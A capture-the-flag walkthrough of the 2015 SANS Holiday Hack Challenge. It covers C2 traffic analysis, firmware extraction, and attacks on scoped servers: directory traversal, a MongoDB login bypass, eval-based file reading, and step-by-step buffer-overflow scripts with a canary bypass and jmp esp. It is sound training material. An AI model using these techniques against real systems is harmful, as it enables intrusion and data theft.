2015 SANS Holiday Hack Challenge Writeup (Walkthrough)

This year I learned of the SANS Holiday Hack Challenge for the first time and i’m glad i did! It was a totally awesome experience and must have been really time consuming to create. I especially liked it because the skills it teaches are all real world applicable, in contrast to some other VM’s / Challenges that feel more like puzzles.

So here comes my Walkthrough of the 2015 SANS Holiday Hack Challenge:

Disclaimer: The following Writeup sounds easier than it actually was! For the writeup’s sake I pretend that everything was straight-forward. However I struggled with a lot of the challenges for hours at least and it took a lot of persistence to get all of the following to work!

Intro: The Story

If you head to the Holiday Hack Challenge Website  you are presented with a funny story that sets up the following Challenges. Im not going to recap the entire story, go read that on the Website or in this Backup PDF of the Website.

Short and simple: A company is selling little Gnomes to put everywhere in your home as a game for the children. But beware the “Lead Children” of this story are nifty hackers and detect that the Gnome their father brought home is emitting WiFi Signals.

Part 1: Enter the Dosis Neighborhood

The Dosis Neighbourhood is a little browser game like those old Zelda like Adventure games. Inside the Neighbourhood you see other players running around and also NPCs wich are part of the story and hand out the actual challenges and give hints on how to solve them.

After a little running around you will find little Josh who will give you a link to the packet capture he created sniffing the gnomes traffic:

01-01-josh-pcap

Beside a pcap file giyh-capture.pcap you are also given a python script which leverages scapy to automatically extract data from the pcap file:

#!/usr/bin/env python

# Copyright (c) 2105 Josh Dosis
import base64
from scapy.all import * # This script reuotuires Scapy

# Read the capture file into a list of packets
packets=rdpcap("giyh-capture.pcap")

# Open the output file to save the extracted content from the pcap
fp=open("outfile","wb")

for packet in packets:

# Make sure this is a DNS packet, with the rdata record where the content is stored
if (DNS in packet and hasattr(packet[DNS], 'an') and hasattr(packet[DNS].an, 'rdata')):

# Make sure it's from the Gnome, not the server
if packet.sport != 53: continue

# Decode the base64 data
decode=base64.b64decode(packet[DNSRR].rdata[1:])

# Strip off the leading "FILE:" line in the decoded data
if decode[0:5] == "FILE:":
fp.write(decode[5:])

fp.close()

However Josh is asking our help because the script is not quite finished and the result needs some work.

Opening the pcap file in wireshark you are seeing a lot of WiFi Beacon Frame packets at first. Reading the provided python script and reading along the story and questions for part 1 it becomes clear that the pcap is about the DNS traffic. So if you filter out the WiFi Beacon Frames you are left with DNS and ARP Packets:

01-02 wireshark

Whats that? Base64 encoded Data in a DNS TXT response? This smells like Command & Controll / Data exfiltration via DNS!

Now to answer the questions of Part 1:

1) Which commands are sent across the Gnome’s command-and-control channel?

If you analyze the PCAP and the python script you quickly realize that the gnome is sending a big chunk of base64 encoded data, a picture, to the yet mysterious C&C Server: 52.2.229.189

So if you filter in the other direction (source port 53) you will get only the DNS Packets from the C&C Server to the Gnome. Now you could develop another Python script to extract the TXT DNS Data but I approached this by saving only the filtered packets to a new pcap file and running strings against it:

01-03 strings

A drawback of strings is that it grabs all ascii strings from the capture and not only the DNS TXT Part of the packet. If you compare the lines with the DNS TXT field of the packets in wireshark you see that you have to remove some characters from the above output.

The manually cleaned up base64 code can be easily decoded with burpsuite as you will also learn in the Dosis Neighbourhood:

01-04 burp

So here are the commands sent to the gnome:

NONE:
NONE:
NONE:
NONE:
NONE:
NONE:
NONE:
EXEC:iwconfig
NONE:
NONE:
NONE:
EXEC:cat /tmp/iwlistscan.txt
NONE:
NONE:
NONE:
NONE:
FILE:/root/Pictures/snapshot_CURRENT.jpg
NONE:
NONE:
NONE:

2) What image appears in the photo the Gnome sent across the channel from the Dosis home?

Now to the python script and the packets flowing in the other direction! As you are also given a hint in the Dosis Neighbourhood the base64 decoded jpg picture is missing the File-Header so it wont be rendered by picture viewers.

I grabbed a random sample jpg from the internet and compared it to the output file from the python script side by side:

01-05 hexcompare

If you look closely you will spot the JPG header in the 28th Hexword. Before that there is probably still code from the Command and Control Channel. If you strip that you are rewarded with the following picture:

01-06 outfile1

So to answer the question: A Childs bedroom with the Subtitle “GnomeNET-NorthAmerica” appears in the image that is sent over the C2 channel!

Part 2: Firmware analysis

Now if you tell little Josh the Subtitle of the Image in the Dosis Neighborhood you unlock Part2 of the challenge:

02-01 unlock

Now in the next room you will find hack sister Jessica. She used her hacking skills to extract the firmware from the gnome and already is hinting at a password buried inside the firmware:

02-02 firmware

Now strings wont help us much as the Linux Partition contained in the “squashed” together binary blob is gzipped and thus wont reveal many readable strings as is.

This can be verified by running binwalk over the firmware:

02-03 binwalk

To “unsquash” the Filesystem that is embedded in the Firmware we can use firmware-mod-kit. But first we have to isolate the Squashfs filesystem using dd before we can unsquash it:

02-04 dd

02-05 unsquash

Now we are presented with a Linux Filesystem:

02-06 firmware filesys

Let’s answer the questions for part 2:

3) What operating system and CPU type are used in the Gnome? What type of web framework is the Gnome web interface built in?

If you have ever played around with OpenWRT you will quickly notice that this is infact OpenWRT. This can be deduced by looking at /etc/openwrt_release:

DISTRIB_ID='OpenWrt'
DISTRIB_RELEASE='Bleeding Edge'
DISTRIB_REVISION='r47650'
DISTRIB_CODENAME='designated_driver'
DISTRIB_TARGET='realview/generic'
DISTRIB_DESCRIPTION='OpenWrt Designated Driver r47650'
DISTRIB_TAINTS=''

This suggests that an arm based architecture is used! We can verify this by using “file” on a key binary on the system:

root@kali:/opt/firmware-mod-kit/squashfs-root/bin# file sh 
sh: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-armhf.so.1, stripped

4) What kind of a database engine is used to support the Gnome web interface? What is the plaintext password stored in the Gnome database?

A little digging around reveals that node.js and mongodb are being used and also the DB connection password can be found:

02-07 node mongo

As shown above two credential pairs can be leveraged from the database:

user:user
admin:SittingOnAShelf

Pay close attention to the order of the users in the Database, this will be important later on!

Part 3: Identifying the C&C servers and verifying the scope

Lets verify the admin password:

03-01 correct

And another hint is following:

03-02 next hint

Now Part 3 is jumping right to the questions:

5) What are the IP addresses of the five SuperGnomes scattered around the world, as verified by Tom Hessman in the Dosis neighborhood?

I should sho Dan? And Shodan I did! For the C&C Server IP address from the initial packet capture:

03-03 shodan1

Okay lets take a destinctive string from that and search for that. Et voila, the rest of the “SuperGnomes” are revealed:

03-04 shodan2

Now where can i find this oracle called Hessman? I could tell you that I bumped into the Lynn NPC Character and took a look at the Office Tour saw that there are secret rooms in the office and spottet some Gnome Legs dangling out of one of the shelves:

03-05 office tour
Hi @edskoudis! Big fan!

But that would be bullshit… I was just standing long enough in that room to see other players disappear into the bookshelf so i went there as well! And there was the Hess-Racle:

03-06 secret room1

So I quickly verified that the 5 IP Addresses found on Shodan are In-Scope:

03-07 in scope

One thing I tried next should be familiar to every gamer out there. If you find something peculiar like a flaw in a game you exploit it everywhere you can. In this case the secret room that could be entered through a bookshelf was instantly drawing my attention. And i started to run into every wall and bookshelf I could find!

For some reason the upper right corner of this same room directly drew my attention:

03-08 room2

Maybe because I actually took the virtual office tour and remembered the 2nd secret room adjacent to the first one. Or because there is a little light bar shining under the secret door. But I really found the second secret room on my own right away:

03-09 room2 unlocked

Right now there is nothing here but later on you will find some magic cookies here that will progress the Dosis Neighborhood game!

6) Where is each SuperGnome located geographically?

As Shodan has revealed:

52.2.229.189 – Ashburne, United States, AWS
54.233.105.81 – Brazil, AWS
52.192.152.132 – Tokyo, Japan, AWS
52.64.191.71 – Sydney, Australia, AWS
52.34.3.80 – Boardman, United States, AWS

Part 4: Let the Hackfest beginn!

In the Dosis Neighborhood you get a task to track down the intern. One clue to his whereabouts can be obtained in the Netwars Convention Room in the Hotel:

04-01 have you seen

And Level 4 I saw! And it really elated me! Actual vulnerable Hosts on the Internet to hack. This is so much better than just hacking a vulnerable VM on my own computer! All this sophistication that went into this challenge to weave the browser game into the real world to teach real world applicable skills! Im still in awe!!!

Here are the questions for Part 4:

7) Please describe the vulnerabilities you discovered in the Gnome firmware.

8) ONCE YOU GET APPROVAL OF GIVEN IN-SCOPE TARGET IP ADDRESSES FROM TOM HESSMAN IN THE DOSIS NEIGHBORHOOD, attempt to remotely exploit each of the SuperGnomes. Describe the technique you used to gain access to each SuperGnome’s gnome.conf file. YOU ARE AUTHORIZED TO ATTACK ONLY THE IP ADDRESSES THAT TOM HESSMAN IN THE DOSIS NEIGHBORHOOD EXPLICITLY ACKNOWLEDGES AS “IN SCOPE.” ATTACK NO OTHER SYSTEMS ASSOCIATED WITH THE HOLIDAY HACK CHALLENGE.

This time im going to structure the answers to both questions according to the 5 IP Addresses/Super Gnomes (SG-01 – SG-05):

SG-01: Simple Password reuse

Vulnerability in the Gnome firmware: In this case the previously mentioned credentialset admin:SittingOnAShelf did the trick:

04-01 sg-01 1

On this SuperGnome the gnome.conf file could just be downloaded via the Webinterface:

04-02 sg-01 gnome conf

This drives home another important pentesting lesson! It’s not the goal to root / system all the machines. The goal is to steal the sensitive data! Operating Systems can be set up quickly, but if a simple circumstance gives an attacker access to the critical data (gnome.conf in this example) you don’t need full system compromise!

At this moment it also dawned on me that every SuperGnome has a different vulnerability that must be exploited t obtain the gnome.conf!

SG-02: Directory Traversal + Arbitrary Folder Creation 

Vulnerability in the Gnome firmware: For this SuperGnome two flaws in the Firmware needed be leveraged together. This was the most challenging SuperGnome for me as it took a bit stepping back and connecting the two separate flaws instead of focusing on just one flaw until it could be leveraged to get in.

First lets take a look at the Settings Upload source code in /www/routes/index.js:


// SETTINGS UPLOAD
router.post('/settings', function(req, res, next) {
if (sessions[sessionid].logged_in === true && sessions[sessionid].user_level > 99) { // AUGGIE: settings upload allowed for admins (admins are 100, currently)
var filen = req.body.filen;
var dirname = '/gnome/www/public/upload/' + newdir() + '/' + filen;
var msgs = [];
var free = 0;
disk.check('/', function(e, info) {
free = info.free;
});
try {
fs.mknewdir(dirname.substr(0,dirname.lastIndexOf('/')));
msgs.push('Dir ' + dirname.substr(0,dirname.lastIndexOf('/')) + '/ created successfully!');
} catch(e) {
if (e.code != 'EEXIST')
throw e;
}
if (free < 99999999999) { // AUGGIE: I think this is breaking uploads? Stuart why did you set this so high?
msgs.push('Insufficient space! File creation error!');
}
res.msgs = msgs;
next();
} else
res.render('index', { title: 'GIYH::ADMIN PORT V.01', session: sessions[sessionid], res: res });
});

As you can see you can use this functionality to create arbitrary named directories. Don’t be fooled by the Insufficient Space error message! If you look closely you see that the directory will be created regardless of this if condition!

Now with this information lets look at the source code of the Camera Viewer Page:


// CAMERA VIEWER
// STUART: Note: to limit disclosure issues, this code checks to make sure the user asked for a .png file
router.get('/cam', function(req, res, next) {
var camera = unescape(req.query.camera);
// check for .png
//if (camera.indexOf('.png') == -1) // STUART: Removing this...I think this is a better solution... right?
camera = camera + '.png'; // add .png if its not found
console.log("Cam:" + camera);
fs.access('./public/images/' + camera, fs.F_OK | fs.R_OK, function(e) {
if (e) {
res.end('File ./public/images/' + camera + ' does not exist or access denied!');
}
});
fs.readFile('./public/images/' + camera, function (e, data) {
res.end(data);
});
});

As you can see here the fs.access should allow directory traversal as you can request arbitrary files. However the code will check if the directory string contains “.png” at any place in the string and adds it ad the end if it is not found.

Now in the code above extracted from the Firmware this check is commented out and replaced by a mandatory addition of the “.png” extension. However on the 5 SuperGnomes this code deviates to produce individual vulnerabilities in them. So the Firmware kinda contains commented out clues to all of the SuperGnomes and shows how to fix them (kinda).

So with this knowledge lets create an arbitrary directory containing “.png” in its name first:

04-02 sg-02 settings upload

Now with this directory lets give the directory traversal a shot using the Camera Viewer code:

04-04 sg-02 gnome conf

Bingo gnome.conf obtained! Because “.png” is contained in the string it wont be appended to the end of the request!

The same can be done with Burp:

04-05 sg-02 gnome conf2

Using this vulnerability I was able to obtain all Files on the SuperGnome including the Packet Capture and the factory image.

SG-03: node.js MongoDB login bypass

Vulnerability in the Gnome firmware: The solution to this SuperGnome is actually quite easy as you get pretty detailed instructions in the Dosis Neighborhood: This Blogpost

So lets take a look at the affected Login Code obtained from the Firmware (again /www/routes/index.js):


// LOGIN POST
router.post('/', function(req, res, next) {
var db = req.db;
var msgs = [];
db.get('users').findOne({username: req.body.username, password: req.body.password}, function (err, user) { // STUART: Removed this in favor of below. Really guys?
//db.get('users').findOne({username: (req.body.username || "").toString(10), password: (req.body.password || "").toString(10)}, function (err, user) { // LOUISE: allow passwords longer than 10 chars
if (err || !user) {
console.log('Invalid username and password: ' + req.body.username + '/' + req.body.password);
msgs.push('Invalid username or password!');
res.msgs = msgs;
res.render('index', { title: 'GIYH::ADMIN PORT V.01', session: sessions[req.cookies.sessionid], res: res });
} else {
sessionid = gen_session();
sessions[sessionid] = { username: user.username, logged_in: true, user_level: user.user_level };
console.log("User level:" + user.user_level);
res.cookie('sessionid', sessionid);
res.writeHead(301,{ Location: '/' });
res.end();
}
});

Again: The vulnerable code exatcly as it is described in the blogpost is commented out, however it is still in place on SG-03!

With all this informations it should have been easy to bypass the login, however  I struggled with the URLEncoded string and still cant get it to work using the URL Encoded string:

04-06 sg-03 url burp failed

This attempt failed:

04-07 sg-03 login failed
After discussing this a bit with a fellow player I learned that you can just swap the url encoded form output with a JSON object:

04-08 sg-03 json burp

Now it worked:

04-09 sg-03 login granted

If you are a keen observer you noticed that I placed “admin” in the username field instead of the “[$gt]=” operator! Remember when I pointed out that there is a credentialset “user:user” in the MongoDB that comes before the admin entry?
As described in the Blogpost the vulnerable DataBase request will grab the first matching user. So in order to get the admin login you need to specify the user while bypassing the password requirement!

With the login bypassed the gnome.conf and the other files were accessible via the File section just like on SG-01:

04-10 sg-03 gnome conf

SG-04: node.js eval() SSJS 

Vulnerability in the Gnome firmware: On this SuperGnome you have the ability to upload files when logging in with the aquired credentialset “admin:SittingOnAShelf”:

04-11 sg-04 file upload

Besides specifying a file to upload you can select a post-processing filter. Lets take at the http request in burp when uploading a file:

04-12 sg-04 burp

Here is the responsible java script function from the firmware:


// FILES UPLOAD
router.post('/files', upload.single('file'), function(req, res, next) {
if (sessions[sessionid].logged_in === true && sessions[sessionid].user_level > 99) { // NEDFORD: this should be 99 not 100 so admins can upload
var msgs = [];
file = req.file.buffer;
if (req.file.mimetype === 'image/png') {
msgs.push('Upload successful.');
var postproc_syntax = req.body.postproc;
console.log("File upload syntax:" + postproc_syntax);
if (postproc_syntax != 'none' && postproc_syntax !== undefined) {
msgs.push('Executing post process...');
var result;
d.run(function() {
result = eval('(' + postproc_syntax + ')');
});
// STUART: (WIP) working to improve image uploads to do some post processing.
msgs.push('Post process result: ' + result);
}
msgs.push('File pending super-admin approval.');
res.msgs = msgs;
} else {
msgs.push('File not one of the approved formats: .png');
res.msgs = msgs;
}
} else
res.render('index', { title: 'GIYH::ADMIN PORT V.01', session: sessions[sessionid], res: res });
next();
});

Ahhh an eval() call! Giving the user of a web application control over an eval() function essentially means Server Side Code Execution by design! Or Server Side JavaScript execution short SSJS as explained thoroughly in this Blackhat Paper you are provided as a hint in the dosis neighborhood.

Also take notice of the mime-type check for “image/png”!

Now lets take those information and apply them to burp:

04-13 sg-04 gnome conf

This method worked fine for acquiring text files. However to download the two zipfiles containing the packet capture and the factory image this method did not work.

Instead a file read that encodes the data into base64 was required:


fs.readFileSync('/gnome/www/files/factory_cam_4.zip','base64')

Extracting the base64 text from this reply and decoding it provided the two zip files.

Using this vulnerability it should also be possible to obtain a remote shell by uploading arbitrary code (like a reverse shell) to the web server and executing it. But as I already obtained the files I required and other challenges were still waiting I did not pursue this path any further.

SG-05: BOF exploit in sgstatd

Vulnerability in the Gnome firmware: This was the most fun vulnerability to exploit of the 5 SuperGnomes!

Lets take a look at an nmap scan of SG-05:

04-33 sg05 nmap

Now if we only had a way to analyze this service on port 4242 more closely!

Lets go back to the Gnome firmware we got in the Dosis Neighborhood. When analyzing a firmware a good way to locate “custom code” is to check the init.d folder for interesting startscripts:

04-15 sg-05 initd

I actually looked at all start scripts. Two of them caught my eyes right away: “sgdnsc2” and sgstatd. For one because they are the only two scripts that do not seem to be native for an openwrt setup. Also sgdnsc2 clearly means “dns command and control” and thus is very suspicious!

This could be verified quickly by taking a peak inside:

04-16 sg-05 head sg

While checking up on the two binaries something strange could be learned:

04-17 sg-05 sgstatd intel binary

Only the sgdnsc2 binary is actually an ARM binary! The sgstatd binary is an Intel 32 bit binary. No wonder the comments in the init script point out that the binary is working fine in the dev environment but not on the gnome! The (fictitious) dev environment must be an  Intel 32bit platform and someone (fictitiously) forget to compile it for the ARM platform before including it in the gnome’s firmware!

Good for me because I can simply run it on my Kali! And see its also listening on Port 4242:

04-18 sg-05 sgstatd run

Note:

running unknown binaries from the internet without knowing what they do is neither good nor secure practice!!!  In this case however I trust the SANS institutes intention and I have a Snapshot of my Kali VM on hand if should break. 

But what would be a better practice? If you could obtain the source of the binary you could study it and compile the studied source code so you exactly know what the resulting binary will and will not do!

Good thing every other SuperGnome contained a file called “sgnet.zip” which includes the c sourcecode for both binaries:

04-19 sg-05 sourcecode

Another approach that is also mentioned in the Dosis Neighborhood would be statical binary analysis with Tools Like IDA Pro or Hopper. However binary analysis and Assembly is currently a bit over my head and from experience I know that I can develop an easy exploit without the sourcecode or a Disassembler.

I the future I will need to dive into this topic tough for sure!

So to continue with the sgstatd binary:

I looked at the obvious functions the command line provided me when connecting to the Server via TCP Port 4242:

04-20 sg-05 sgstatd functions

However none of the provided options let me write to a string that can be overflown!
So its time to look at the sourcecode. Here is the interesting part for this challenge:


#include "sgnet.h"
#include "sgstatd.h"
#include <unistd.h>

//user to drop privileges to
const char *USER = "nobody";
//port to bind and listen on
const unsigned short PORT = 4242;

int child_main(int sd) //handler for incoming connections
{
int choice = 0;
FILE *fp;
char path[1000];
char bin[100];

//printf("New Connection\n");
//printf("/bin/cat /home/grinch/flag.txt\n");
//system("/usr/bin/id");

if (choice != 2) {
write(sd, "\nWelcome to the SuperGnome Server Status Center!\n", 51);
write(sd, "Please enter one of the following options:\n\n", 45);
write(sd, "1 - Analyze hard disk usage\n", 28);
write(sd, "2 - List open TCP sockets\n", 26);
write(sd, "3 - Check logged in users\n", 27);
fflush(stdout);

recv(sd, &choice, 1, 0);

switch (choice) {
case 49:
fp = popen("/bin/df", "r");
if (fp == NULL) {
printf("Failed to run command\n");
exit(1);
}
while (fgets(path, sizeof(path), fp) != NULL) {
sgnet_writes(sd, path);

}
break;

case 50:
fp = popen("/bin/netstat -tan", "r");
if (fp == NULL) {
printf("Failed to run command\n");
exit(1);
}
while (fgets(path, sizeof(path) - 1, fp) != NULL) {
sgnet_writes(sd, path);
}
break;

case 51:
fp = popen("/usr/bin/who", "r");
if (fp == NULL) {
printf("Failed to run command\n");
exit(1);
}
while (fgets(path, sizeof(path) - 1, fp) != NULL) {
sgnet_writes(sd, path);
}
break;

case 88:
write(sd, "\n\nH", 4);
usleep(60000);
write(sd, "i", 1);
usleep(60000);
write(sd, "d", 1);
usleep(60000);
write(sd, "d", 1);
usleep(60000);
write(sd, "e", 1);
usleep(60000);
write(sd, "n", 1);
usleep(60000);
write(sd, " ", 1);
usleep(60000);
write(sd, "c", 1);
usleep(60000);
write(sd, "o", 1);
usleep(60000);
write(sd, "m", 1);
usleep(60000);
write(sd, "m", 1);
usleep(60000);
write(sd, "a", 1);
usleep(60000);
write(sd, "n", 1);
usleep(60000);
write(sd, "d", 1);
usleep(60000);
write(sd, " ", 1);
usleep(60000);
write(sd, "d", 1);
usleep(60000);
write(sd, "e", 1);
usleep(60000);
write(sd, "t", 1);
usleep(60000);
write(sd, "e", 1);
usleep(60000);
write(sd, "c", 1);
usleep(60000);
write(sd, "t", 1);
usleep(60000);
write(sd, "e", 1);
usleep(60000);
write(sd, "d", 1);
usleep(60000);
write(sd, "!\n\n", 4);
usleep(60000);
write(sd, "Enter a short message to share with GnomeNet (please allow 10 seconds) =>; ", 75);
fflush(stdin);
sgstatd(sd);

sgnet_writes(sd, "\nRequest Completed!\n\n");
break;

default:
write(sd, "Invalid choice!\n", 17);
break;

}
shutdown(sd, SHUT_WR);
}
return 0;
}

int sgnet_exit()
{
printf("Canary not repaired.\n");
exit(0);
}

int sgstatd(sd)
{
__asm__("movl $0xe4ffffe4, -4(%ebp)");
//Canary pushed

char bin[100];
write(sd, "\nThis function is protected!\n", 30);
fflush(stdin);
//recv(sd, &bin, 200, 0);
sgnet_readn(sd, &bin, 200);
__asm__("movl -4(%ebp), %edx\n\t" "xor $0xe4ffffe4, %edx\n\t" // Canary checked
"jne sgnet_exit");
return 0;

}

int main(int argc, char **argv) //main function
{
(void)argc;
(void)argv;
printf("Server started...\n");
int sd;
//socket descriptor
sd = sgnet_listen(PORT, IPPROTO_TCP, NULL);
sgnet_server(sd, USER, child_main);
return 0;
}

Notice the menu switch/case instruction? The Options 49,50,51 represented 1,2,3 and there is also another Option 88! But how to reach that?

I was quickly able to determine that 49,50,51 represent 1,2,3 in the ASCII Table! So what does 88 stand for? The big letter X:

04-21 sg-05 hidden function

A hidden function! And its accepting a string! This smells like a basic stack buffer overflow! Good thing I learnt to exploit those during OSCP and from Corelan!

However I never debugged a Binary on Linux with gdb before, only with Immunity Debugger on Windows!

The biggest challenge I was facing is the fact that from my past experience with exploit writing and playing around with metasploit is, that I knew that network daemons are not single threaded applications that crash when a single user connects and overflows a buffer. Instead every network connection will likely spawn a separate child process which will free up the network socket for new connections. Only the spawned child will die on buffer overflow condition!

So I need to find out how to bring gdb to “follow” a spawned “child” when a network daemon process is “forked”!

Luckily @januszjasinski was kind enough to chat with me about this issue and helped me by providing me with the required gdb commands. Thank you Janusz!

So this is the command to tell gdb to follow a child process:


gdb> set follow-fork-mode child

Next I wrote a little bof-poc python script to verify a crash condition:

root@kali:~/link/writeup# cat 00-kill-canary.py
#!/usr/bin/python
# debug with gdb like this:
# #gdb sgstatd
# #gdb> set follow-fork-mode child
# #gdb> run

import socket
import time
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = 'B' * 2000

try:
 print "\nSending evil buffer..."
 s.connect(('127.0.0.1',4242))
 data = s.recv(5024)
 print data
 time.sleep(1)
 s.send('X' + '\r\n')
 print s.recv(5000)
 time.sleep(1)
 s.send(buffer + '\r\n')
 data = s.recv(5024)
 print data
 time.sleep(1)
except:
 print "Could not connect to sgstatd"

When I execute this BOF-POC Script gdb shows the following:

04-22 sg-05 kill canary

I killed the canary! Thats why I called the chose the name for this BOF-POC script…

Until this moment I never encountered a stack canary protection before but I already knew the purpose of canaries in Coal Mines from other story (cant remember wich tough) and googling the error message quickly revealed the purpose of this:

Instead of warning miners of deadly gas concentrations the stack canary is just a secret value that is pushed on the stack before the call of a function and is checked when returning from it. If you overflow the buffer and overwrite the stack canary the program will be killed and your shellcode payload will not be executed.

Good thing we already looked at the sourceode and noticed the following function:


int sgstatd(sd)
{
__asm__("movl $0xe4ffffe4, -4(%ebp)");
//Canary pushed

char bin[100];
write(sd, "\nThis function is protected!\n", 30);
fflush(stdin);
//recv(sd, &bin, 200, 0);
sgnet_readn(sd, &bin, 200);
__asm__("movl -4(%ebp), %edx\n\t" "xor $0xe4ffffe4, %edx\n\t" // Canary checked
"jne sgnet_exit");
return 0;

}

I am not a programmer and i don’t understand much c code but from this code snipped I can easily determine 3 things:

  1. The exact canary value is static: 0xE4FFFFE4
  2. A character array of 100 bytes / characters is reserved
  3. Up to 200 characters are being read from the command line

A classic BOF condition!

Now I could have read up all of this and learn how to work with stack canaries but I thought of something simpler. Like with determining the exact offset of the EIP it should be possible to locate the exact location where the canary is stored:

After fiddling arround a bit I could overwrite the canary with the following modification to the script:

root@kali:~/link# cat 01-canary-overwrite.py
#!/usr/bin/python
# debug with gdb like this:
# #gdb sgstatd
# #gdb> set follow-fork-mode child
# #gdb> run

import socket
import time
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = 'B' * 1000
padding = 'A' * 102
canary = '\xe4\xff\xff\xe4'

try:
print "\nSending evil buffer...";
s.connect(('127.0.0.1',4242))
data = s.recv(5024)
print data
time.sleep(1)
s.send('X' + '\r\n')
print s.recv(5000)
time.sleep(1)
s.send(padding + canary + buffer + '\r\n')
#s.send('AA' + canary * 2000 + 'r\n')
data = s.recv(5024)
print data
time.sleep(1)
except:
print "Could not connect to sgstatd"

Lets see the result in action:

04-22 sg-05 kill canary

Bazinga! I circumvented the Canary Stack protection and control the EIP!

Now the following alteration to locate the exact offset of EIP after the canary:


root@kali:~/link/writeup# cat 02-find-eip-offset.py
#!/usr/bin/python
# debug with gdb like this:
# #gdb sgstatd
# #gdb> set follow-fork-mode child
# #gdb> run

import socket
import time
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = 'B' * 1000
padding = 'A' * 102
canary = '\xe4\xff\xff\xe4'

#created with metasploits pattern_create.rb script
pattern = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B'

try:
print "\nSending evil buffer..."
s.connect(('127.0.0.1',4242))
data = s.recv(5024)
print data
time.sleep(1)
s.send('X' + '\r\n')
print s.recv(5000)
time.sleep(1)
s.send(padding + canary + pattern + '\r\n')
#s.send('AA' + canary * 2000 + 'r\n')
data = s.recv(5024)
print data
time.sleep(1)
except:
print "Could not connect to sgstatd"

Meanwhile in gdb land:

04-24 sg-05 eip offset

Now verifying the offset using metasploit’s pattern offset script:


root@kali:~/link/writeup# pattern_offset 0x61413161
[*] Exact match at offset 4

Okay lets verify this with the following alteration of the script:


#!/usr/bin/python
# debug with gdb like this:
# #gdb sgstatd
# #gdb> set follow-fork-mode child
# #gdb> run

import socket
import time
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = 'B' * 1000
padding = 'A' * 102
canary = '\xe4\xff\xff\xe4'

#offset at 4:
#root@kali:~# pattern_offset 0x61413161
#[*] Exact match at offset 4

try:
print "\nSending evil buffer..."
s.connect(('127.0.0.1',4242))
data = s.recv(5024)
print data
time.sleep(1)
s.send('X' + '\r\n')
print s.recv(5000)
time.sleep(1)
s.send(padding + canary + 'B' * 4 + 'C' * 4 + '\r\n')
data = s.recv(5024)
print data
time.sleep(1)
except:
print "Could not connect to sgstatd"

Bingo! We got 43! We now _really_ control EIP!:

04-25 sg-05 control eip

So as I learned in the Basic exploit development courses I now still need a reliable way to point the EIP register to my own shellcode! With DLL Rebaseing and ASLR I will not be able to jump to a hardcoded memory address. So the easiest way is to search for “assembly gadgets” in the existing code.

Something like jmp esp which can be translated into opcode with metasploits nasm_shell:

root@kali:~# /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm > jmp esp
00000000  FFE4              jmp esp

Okay lets look for FF E4. I actually did it with edb’s Opcode Searcher Plugin:

04-26 sg-05 edb opcode searcher

And we have a winner at: 0x0804936b

So lets test this by placing this address in the EIP register and placing a nopsled behind it. Note in the following script how the Address in the EIP is fed in reverse. Thats how the x86 little endian architecture expects to be fed in reverse!

The nopsled is not important for this exploit, however it is fun to see the CPU sliding down the sled :)

Now the script:


root@kali:~/link/writeup# cat 04-jump-esp.py
#!/usr/bin/python
# debug with gdb like this:
# #gdb sgstatd
# #gdb> set follow-fork-mode child
# #gdb> run

import socket
import time
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = 'B' * 1000
padding = 'A' * 102
canary = '\xe4\xff\xff\xe4'
nopsled = '\x90' * 200 

#offset at 4:
#root@kali:~# pattern_offset 0x61413161
#[*] Exact match at offset 4

# jmp esp at: 0804936b
eip = '\x6b\x93\x04\x08'

try:
        print "\nSending evil buffer..."
        s.connect(('127.0.0.1',4242))
        data = s.recv(5024)
	print data
	time.sleep(1)
        s.send('X' + '\r\n')
	print s.recv(5000)
	time.sleep(1)
	s.send(padding + canary + 'B' * 4 + eip + nopsled + '\r\n')
	data = s.recv(5024)
	print data
	time.sleep(1)
except:
        print "Could not connect to sgstatd"

